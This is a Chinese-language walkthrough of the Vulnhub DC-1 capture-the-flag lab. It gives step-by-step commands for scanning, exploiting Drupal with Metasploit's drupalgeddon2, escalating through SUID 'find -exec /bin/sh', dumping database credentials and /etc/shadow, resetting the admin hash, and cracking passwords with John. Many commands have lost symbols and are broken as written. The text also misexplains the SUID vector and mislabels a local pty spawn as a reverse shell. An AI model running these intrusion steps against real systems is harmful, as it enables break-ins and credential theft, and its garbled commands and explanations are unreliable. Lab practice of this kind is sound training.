
简介这份资源是面向网络安全初学者与CTF入门者的实操型教程围绕Vulnhub的DC-1靶机展开帮助读者在真实环境中理解渗透测试的基本流程与攻防思路。内容覆盖环境搭建、主机发现、端口扫描、Drupal漏洞利用、SUID提权、MySQL数据库交互以及密码破解等环节并完整演示攻破5个flag的全过程适合作为课程实验或自学练习的参考材料。资源包共1个PDF文件大小约1.82MB以图文步骤形式记录关键命令与操作结果便于对照复现和整理笔记。目前已有1418人学习下载读者可从中获得从信息收集到权限提升的完整思路掌握find查找SUID文件、Metasploit利用、反弹shell、John the Ripper破解等实用技能并理解配置文件与数据库在夺旗场景中的价值。1. 从一台不给你密码的靶机说起Kali 2023 DC-1 环境搭建很多人第一次接触网络安全夺旗卡住的地方不是漏洞利用本身而是环境根本跑不起来。靶机导入后黑屏、Kali 扫不到靶机 IP、桥接模式配完两边不在一个网段——这些看起来不起眼的问题能让人在第一步就耗掉一整个下午。这篇安装笔记记录的是我反复搭过多次的一套环境Kali 2023 作为渗透机DC-1 靶机作为攻击目标目标是拿到 5 个 flag。整套流程从下载安装到最终验证跑通每一步命令都手工敲过。如果你正在搜「Kali 怎么安装」「DC-1 靶机怎么配置」「网络安全靶机环境搭建」这篇可以照着走。装好之后你会得到一个完全可控的本地实验环境不依赖任何外部服务随时可以重来。2. 环境准备Kali 2023 与 DC-1 靶机的安装与网络配置2.1 Kali 2023 的获取与虚拟机导入Kali 的安装方式有好几种可以直接装物理机也可以用虚拟机镜像。我一般推荐用虚拟机版本因为渗透测试过程中经常需要快照回滚物理机装完想恢复就麻烦了。下载地址在 Kali 官网的 Get Kali 页面找到虚拟机版本下载即可。2023 版和之前的版本在桌面环境上有一些变化默认用的是 Xfce资源占用比 GNOME 低不少跑在虚拟机里更流畅。下载完成后如果你用的是 VMware直接打开.vmx文件就能导入。导入后先别急着开机检查几个关键配置# 查看 Kali 虚拟机网络适配器设置在 VMware 界面操作 # 建议设置为桥接模式Bridged不要用 NAT # 桥接模式下 Kali 和靶机会获得与物理机同网段的 IP桥接模式的选择很关键。NAT 模式下 Kali 在一个独立子网里靶机如果也是 NAT两者可能互相看不见。桥接模式让 Kali 和靶机都从物理网络的路由器获取 IP保证在同一网段。这一步如果配错后面arp-scan扫不到靶机你会以为是命令问题其实是网络模式的问题。2.2 DC-1 靶机的下载与导入DC-1 是 Vulnhub 平台上比较经典的入门靶机官方说明里有 5 个 flag 需要攻破。下载地址在 Vulnhub 的 DC-1 条目页面下载后得到一个虚拟机文件包。解压后双击.vmx文件导入 VMware 即可。导入后同样要检查网络适配器确保也是桥接模式。另外注意一点DC-1 默认不提供用户名和密码这是故意的需要你自己通过渗透手段获取。开机后如果看到登录界面不用慌这是正常的。# 靶机开机后在 Kali 中确认两台机器是否在同一网段 # 先查看 Kali 自己的 IP ip addr show # 假设 Kali 的 IP 是 192.168.1.x靶机应该也是 192.168.1.x如果 Kali 和靶机不在同一网段检查 VMware 的虚拟网络编辑器确认桥接模式绑定到了正确的物理网卡。有时候笔记本同时有有线和无线网卡桥接绑错了网卡就会导致不通。2.3 网络连通性验证与主机发现两台机器都开机后第一步是确认它们能互相通信。在 Kali 终端里执行# 扫描局域网内存活的主机 sudo arp-scan -l这条命令会列出当前网段所有活跃设备的 IP 和 MAC 地址。输出里你会看到物理机、路由器、Kali 自己和靶机。靶机的 IP 通常可以通过 MAC 地址前缀判断VMware 虚拟机的 MAC 地址一般以00:0c:29开头。假设扫出来靶机 IP 是192.168.1.155先 ping 一下确认连通# 确认与靶机的连通性 ping -c 4 192.168.1.155如果 ping 不通先检查靶机是否完全开机DC-1 启动需要一点时间再检查两边防火墙状态。Kali 默认没有严格防火墙规则问题一般出在网络模式上。提示如果arp-scan提示命令不存在执行sudo apt install arp-scan安装即可。Kali 2023 默认可能没有预装这个工具。3. 信息收集与漏洞利用从端口扫描到 flag13.1 使用 nmap 扫描靶机开放端口确认靶机 IP 后下一步是看它开了哪些服务。nmap 是渗透测试里最常用的端口扫描工具Kali 默认自带。# 对靶机进行端口扫描 nmap 192.168.1.155输出显示 22、80、111 端口开放。22 是 SSH80 是 HTTP111 是 rpcbind。80 端口有 HTTP 服务说明靶机上跑着一个网站。打开 Kali 的浏览器访问http://192.168.1.155你会看到一个 Drupal 搭建的网站有登录界面。Drupal 是一个开源 CMS历史上出过不少高危漏洞。看到 Drupal第一反应应该是查版本、找对应的漏洞利用模块。在网页源码或者页脚通常能看到版本信息不过这里我们直接用 Metasploit 来搜。3.2 Metasploit 搜索 Drupal 漏洞模块Metasploit 是 Kali 自带的渗透测试框架集成了大量漏洞利用模块。启动它# 启动 Metasploit 控制台 msfconsole启动后搜索 Drupal 相关模块# 搜索 Drupal 漏洞利用模块 search drupal输出里会列出多个模块其中有一个drupal_drupalgeddon2是 Drupal 7 的远程代码执行漏洞利用起来比较直接。选择对应编号的模块# 使用搜索到的模块编号以实际输出为准 use 1进入模块后查看需要配置哪些参数# 查看模块需要配置的选项 show options必须设置的是RHOSTS也就是目标 IP# 设置靶机 IP set rhosts 192.168.1.155配置完成后执行# 执行漏洞利用 exploit等待几秒钟如果成功你会看到 Metasploit 建立了一个会话。执行shell进入目标系统的 shell然后ls查看当前目录应该能看到flag1.txt。# 进入 shell 并查看文件 shell ls cat flag1.txtflag1 的内容提示你去找一个配置文件。这个提示指向的是 Drupal 的settings.php里面通常包含数据库连接信息。3.3 反弹交互式 shell 与 SUID 提权Metasploit 拿到的 shell 功能有限不支持交互式操作。先反弹一个完整的 PTY shell# 反弹交互式 shell python -c import pty;pty.spawn(/bin/sh)执行whoami确认当前用户通常不是 root。接下来需要提权。SUID 提权是 Linux 提权里最基础也最常考的一种。SUID 权限的文件在执行时会以文件所有者的权限运行如果所有者是 root那就相当于以 root 权限执行。# 查找所有 SUID 权限的文件 find / -perm -us -type f 2/dev/null输出会列出很多文件。其中/usr/bin/passwd是常见的 SUID 文件。如果它被错误配置可以直接利用# 进入 passwd 所在目录 cd /usr/bin # 利用 passwd 的 SUID 权限获取 root shell find passwd -exec /bin/sh \;执行后提示符从$变成#说明提权成功。这一步的原理是find命令的-exec参数会以 SUID 文件的权限执行后面的命令而passwd有 SUID 位且属于 root所以/bin/sh就以 root 身份运行了。注意实际环境中 SUID 提权需要具体看哪些文件有 SUID 位且能被利用。passwd只是 DC-1 靶机里的一个例子真实场景中更常见的是nmap、vim、find等被错误赋予 SUID 权限的程序。4. 配置文件挖掘与数据库利用flag2 和 flag34.1 从 settings.php 中提取数据库凭据flag1 提示找配置文件Drupal 的核心配置文件在/var/www/html/sites/default/settings.php。用 root 权限查看# 查看 Drupal 配置文件 cat /var/www/html/sites/default/settings.php在文件里搜索flag关键字能找到 flag2。同时你会看到数据库连接信息包括数据库名、用户名和密码。DC-1 靶机里这些信息是明文存储的用户名和密码都是dbuser之类的简单字符串。拿到数据库凭据后直接登录 MySQL# 登录 MySQL 数据库 mysql -u dbuser -p输入密码后进入 MySQL 命令行。查看数据库列表找到 Drupal 的库然后查用户表-- 查看数据库 show databases; -- 切换到 Drupal 数据库 use drupal; -- 查看所有表 show tables; -- 查询用户表 select * from users;用户表里能看到admin用户密码字段是加密的哈希值。直接破解哈希可能比较耗时但我们可以换个思路用 Drupal 自带的密码哈希脚本生成一个新密码的哈希然后直接更新数据库。4.2 利用 password-hash.sh 重置 admin 密码Drupal 的安装目录下有一个密码哈希生成脚本# 查找 hash 相关脚本 find / -name *hash*在/var/www/scripts目录下找到password-hash.sh。用它生成123456的哈希# 生成密码哈希 php scripts/password-hash.sh 123456输出会显示类似$S$D...的哈希字符串。复制这个哈希回到 MySQL 更新 admin 用户的密码-- 更新 admin 密码 update users set pass $S$D... where name admin;更新完成后用admin/123456登录网站。登录后在内容管理或者仪表盘里能找到 flag3。提示这一步的关键是 Drupal 的密码哈希脚本可以直接调用不需要自己实现加密算法。实际渗透中如果遇到其他 CMS思路类似——找到密码哈希的生成方式然后替换数据库里的哈希值。4.3 从 /etc/shadow 中提取 flag4 用户拿到网站后台权限后继续在系统层面挖掘。查看系统用户文件# 查看 shadow 文件 cat /etc/shadow在文件里发现一个用户名叫flag4密码字段是加密的。这个用户名本身就是 flag4 的一部分但还需要破解密码才能登录。破解哈希可以用 John the Ripper 或者 hydra这里我们用 John。5. 密码破解与最终提权flag4 和 thefinalflag5.1 编译安装 John the RipperJohn the Ripper 是一个经典的密码破解工具Kali 里可能自带但版本不一定合适。我一般会从源码编译一个稳定版本# 下载源码包 wget http://www.openwall.com/john/j/john-1.8.0.tar.gz # 解压 tar -xvf john-1.8.0.tar.gz # 进入源码目录 cd john-1.8.0/src # 编译根据系统架构选择 make clean linux-x86-64编译完成后可执行文件在../run/目录下。把/etc/shadow里 flag4 用户的那一行复制到一个新文件shadow.txt里# 创建待破解文件 echo flag4:$6$...:... shadow.txt # 执行破解 ./john shadow.txtJohn 会自动识别哈希类型并加载字典进行破解。DC-1 靶机的密码比较简单几秒钟就能出结果。破解出来的密码是orange。5.2 SSH 登录 flag4 并查找最终 flag拿到 flag4 的密码后直接用 SSH 登录靶机# SSH 登录 ssh flag4192.168.1.155输入密码orange后登录成功。查看当前目录# 查看 flag4 目录内容 ls cat flag4.txtflag4.txt 的内容提示你能用同样的方式在 root 中找到 flag 么意思是要提权到 root然后去 root 目录找最终 flag。再次利用 SUID 提权# 查找 SUID 文件并提权 find /usr/bin/passwd -exec /bin/sh \; # 进入 root 目录 cd /root ls cat thefinalflag.txt最终 flag 的内容大致是祝贺你完成了挑战。至此 5 个 flag 全部拿到。5.3 常见问题与排查记录现象arp-scan 扫不到靶机 IP。原因Kali 或靶机的网络模式不是桥接或者桥接绑定了错误的物理网卡。 解决在 VMware 虚拟网络编辑器里确认桥接模式绑定到当前活跃的物理网卡重启两台虚拟机的网络。现象Metasploit 利用 Drupal 漏洞后没有返回会话。原因靶机上的 Drupal 版本与模块不匹配或者靶机服务未完全启动。 解决先用nmap -sV 192.168.1.155确认 Drupal 版本再选择对应模块。DC-1 靶机启动后需要等 1-2 分钟服务才完全就绪。现象SUID 提权时find passwd -exec /bin/sh \;没有反应。原因当前目录不对或者passwd文件没有 SUID 位。 解决先cd /usr/bin再用ls -la passwd确认权限位里有s。如果没有 SUID 位换其他文件尝试。现象John 破解 shadow 文件时报错「No password hashes loaded」。原因shadow.txt 文件格式不对或者哈希类型不被当前 John 版本支持。 解决确认 shadow.txt 里每行格式为用户名:哈希:...不要有多余空格或换行。如果还是不行尝试用--formatsha512crypt指定格式。现象MySQL 登录时提示 Access denied。原因settings.php 里的数据库凭据可能不是当前有效的或者 MySQL 只允许本地登录。 解决确认 settings.php 里的用户名密码如果 MySQL 限制了登录来源可以尝试在靶机本地用mysql -u dbuser -p登录。6. 装完怎么验证5 个 flag 的完整回收与检查清单环境搭好、流程跑通之后怎么确认自己真的拿全了 5 个 flag我一般会按下面的清单逐项核对避免漏掉某个环节还以为自己完成了。Flag 编号获取位置关键命令验证方式flag1/var/www/htmlcat flag1.txt文件内容提示找配置文件flag2settings.phpcat settings.php文件内包含 flag 字符串flag3网站后台浏览器登录 admin仪表盘或内容页可见flag4/etc/shadowcat /etc/shadow用户名 flag4 即为 flagthefinalflag/rootcat thefinalflag.txt最终祝贺信息验证流程建议按顺序走一遍先用arp-scan确认靶机在线再用nmap确认端口开放然后从 flag1 开始逐个获取。每拿到一个 flag记录下获取路径和使用的命令。如果中间某一步卡住回退到上一步确认环境状态。一个容易忽略的检查点是提权后whoami是否真的返回root。有时候find命令执行了但 shell 没有正确继承权限提示符变了但实际用户没变。执行id命令确认 uid0 才算真正提权成功。另外DC-1 靶机可以重复利用。每次实验完可以拍个快照下次直接从快照恢复不用重新导入。Kali 那边也建议在环境配好后拍快照避免每次重装工具。从那以后我每次搭靶机环境都会先拍快照再动手拿到第一个 flag 之前一定先确认arp-scan和nmap的结果对得上。这套习惯帮我省了很多次重装的时间。希望帮到你。本文还有配套的精品资源点击获取